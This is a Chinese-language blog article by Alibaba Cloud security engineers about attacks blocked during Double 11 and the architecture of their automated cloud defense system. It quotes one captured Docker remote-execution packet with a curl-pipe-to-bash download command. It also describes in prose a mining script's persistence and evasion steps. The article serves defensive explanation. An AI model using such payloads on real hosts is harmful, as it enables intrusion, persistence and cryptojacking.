作者|黄晓贤阿里云安全工程师审计|吴潘阿里云高级安全工程师、郭伟博阿里云高级安全工程师责任篇。
阿里云作为覆盖全国40%网站的平台,每天承担着保障云平台安全的责任,同时将这些原生能力以产品和服务的方式赋能给企业。阿里云有一支默认防御团队,将“默认安全”进行到底,意味着我们将安全基因植入在云平台上,让云上更安全。阿里云安全提供的丰富安全产品和服务让客户和云平台共建,提升整体企业安全水位。阿里云安全默认防御团队双11当日自动识别并拦截来自184个国家发起的60亿次攻击,成功保障云上租户业务平稳运行。那么云上用户到底经历了些什么?攻击者又有哪些千变万化的手段?默认防御团队又是怎么精准识别进行拦截的?下面通过一个例子让我们一一为大家揭晓。
激烈的攻防对抗
双11前夜,阿里云安全默认防御团队在云上部署的蜜罐捕获到了这样一条攻击报文。攻击者尝试使用Docker未授权访问远程命令执行漏洞来进行攻击,可以从报文中看到,攻击者使用iplogger记录受害者的ip地址,同时向ix.io请求脚本并执行。
POST HTTP
User-Agent: Go-http-client
{"Hostname"......"Cmd":["chroot","/mnt","/bin/sh","-c","curl -4 -s ;curl -s -L | bash;"],"Image":"alpine".......
跟进这个脚本内容可以发现,其中一部分命令是用来关闭阿里云的相关服务以及卸载阿里云主机端安全产品安骑士的动作,目的性非常明显,就是为了规避阿里云安全的检测。除此之外,此脚本会向ssh中写入公钥以便后续免密登陆、写入定时任务持续攻击、关闭常见服务释放资源、下载挖矿软件进行牟利、修改DNS解析防止二次入侵等行为。一旦攻击成功,服务器除了正常业务受到严重影响,甚至所有权也会移向他人之手。默认防御自动侦测到相关批量攻击手段和攻击团伙,在首次攻击发生时便已成功拦截,保障用户正常业务平稳度过双11。
深入洞察攻击行为
在我们进行日常阿里云平台安全保障过程中也发现,攻击者所使用的攻击方式越发层出不穷,变化多端。随着对抗技术手段的不断升级,黑客行为、黑灰产活动也呈现愈发组织化、专业化。
攻击链路
下图展示的是恶意团伙典型的整个攻击流程,大部分攻击者会选择通用安全漏洞(例如,Windows永恒之蓝漏洞等)或者云上使用较多的组件漏洞(例如Redis未授权访问、Struts2远程命令执行等)以及暴力破解服务账号口令的方式进行攻击,从而批量获取云主机权限执行恶意指令。这些恶意指令一般是从攻击团伙所属的服务器下载恶意脚本或可执行文件,然后运行。恶意脚本一般包含三部分功能:通信维持C&C模块(用于后续DDoS、脚本更新或其他指令)、挖矿模块、蠕虫扫描模块(对外扫描,扩大传染范围)。
一切黑灰产和犯罪团伙的攻击都是带有目的性的,而主要目的就是为了牟利。由于门罗币具备独有的匿名货币属性且对CPU架构有优化,极其适用于云上主机场景,因此成为了犯罪团伙挖矿牟利的首选。
由于攻击者的收益与受到感染的主机数量直接相关,为了扩大战果,恶意脚本、恶意木马的投放更加趋向于蠕虫化。蠕虫化的攻击方式使得恶意程序的传播能力大幅增强,甚至企业整个内网都可能都沦为挖矿机器,严重影响正常业务进行。
相互竞争
与正常业务竞争一样,黑灰产之间、恶意团伙之间也存在着相互竞争的关系。一台受漏洞影响的云主机被恶意团伙攻击成功后,存在着被另一批攻击者再次攻击的可能。后者的行为很有可能阻断前者的财路,因此黑灰产、恶意团伙之间的竞争也会在其所使用的恶意程序中展现的淋漓尽致。一台沦陷了的云主机往往遭受过多个恶意团伙轮番"摧残",这也导致恢复起来更加困难,损失更大。
最常见抑制其他攻击者的手段便是采用脚本杀死包含特定可疑关键字的进程,从而保证"为己所用"。又或是一些攻击团伙攻击成功后,会修复自身所利用的漏洞以防止其他攻击者使用。除此之外,Sinkhole技术也被蠕虫用于对抗同一宿主机上的其他蠕虫。其原理非常简单:修改/etc/hosts文件,将"竞争对手"使用的服务器地址,指向127.0.0.1或0.0.0.0。这样当其他蠕虫尝试从服务器拉取文件,或尝试发送上线信息时,请求将会被重定向到本机而无法正常发送,从而一劳永逸的遏制竞争对手。
打造无感化默认防御机制
凭借与黑灰产和恶意团伙多年的对抗经验和技术沉淀,阿里云安全默认防御团队打造了一套完整的入侵攻击行为智能拦截机制,来实现云上租户的无感化默认防御。该机制是为了抵御云上出现的大规模入侵行为,为云上用户提供免费的基础安全防御能力,是阿里云云盾的基础安全防御模块。下图展示的是整个机制的结构示意图。整体结构分为了三部分,威胁感知模块、关联分析模块与拦截处罚模块。
威胁感知模块
此模块能够通过多种检测途径、在攻击全链路上进行威胁感知。团伙识别单元用于对云上恶意团伙进行分析识别与持续跟进并关注团伙攻击方式是否变化,进而及时响应;入侵行为检测单元主要针对入侵行为产生的异常噪声进行捕获,从而及时发现可疑的入侵行为;而异常监控单元所收集的异常告警数据,一般作为辅助信息与其他数据一起进行分析。
团伙识别
团伙识别对于整个链路的攻击发现与跟进攻击手段升级有着重要的战略意义。下图展示的是整个团伙分析的流程结构图。分析单元根据全链路监控的告警数据,结合威胁情报、Shodan等空间设备搜索引擎数据所提供的IOCs(Indicators ofCompromise),通过网络行为关联、进程行为模式识别,抽取关联实体,以图模型为基础,构建一张超大规模点边组成的完整恶意程序行为网络。之后利用社区发现等图聚类算法通过对整个行为网络的数据进行深度挖掘:剥离归并相同行为特征的簇群为同一团伙,持续追踪并关注其扩张状态或手法更新;监控进程状态,及时清查挖矿进程运行;实时监控中控通信,防止团伙利用僵尸网络进行大规模DDoS攻击。
关联分析模块
关联分析模块是整个机制的处理核心,其主要功能是通过多个维度综合判断恶意行为是否为真正的入侵行为,进而决定放行、拦截或进一步动作。由于单点判断容易引起很高的误报,所以一般会使用多个层面的结果进行关联分析,得到最终的判断。
威胁情报单元主要是通过关联情报数据来对攻击链路的各个指标进行信息补充,例如恶意IP、恶意域名、文件哈希值等;历史行为单元主要用于关联恶意攻击历史行为数据,尝试对类似的行为进行归类合并;指纹提取分析单元针对攻击类型、攻击方式提取相应攻击指纹,用以识别、标记攻击的手段,同时用以入侵原因的综合分析;恶意行为分析单元借助AI手段通过多种模型对攻击手法与告警数据进行智能分析,综合对整体行为进行黑白性质判定;信誉模型单元主要针对攻击者、攻击手段、威胁程度进行画像评估,返回不同威胁等级的评判结果;除此之外,还有各种专用、通用的检测模型对数据进行综合分析挖掘,从而对整个攻击行为进行定性。
拦截处罚模块
当关联分析模块确认攻击行为之后,相关的数据信息便会发送到拦截处罚模块进行攻击拦截,保证云上正常用户业务不受攻击影响。拦截模块的智能决策中心会对需要拦截的攻击者、目标做综合分析,设置合适的拦截机制。同时,为了防止特殊情况造成的影响,智能决策中心会根据具体情况适当延迟处罚时间,观察后续动作。监控告警平台负责关注机制所有的流程的正常运转,发现重大事件时,可以第一时间进行通知,进行人工干预。
结束语
在这套默认防御机制的保护下,今年双11期间,阿里云平台为用户自动识别并拦截了来自184个国家的60亿次攻击。安全防御永远不可能一劳永逸,让安全问题离用户越来越远是我们一直努力的目标。阿里云愿与云上用户一起,共同协作,保障云上安全。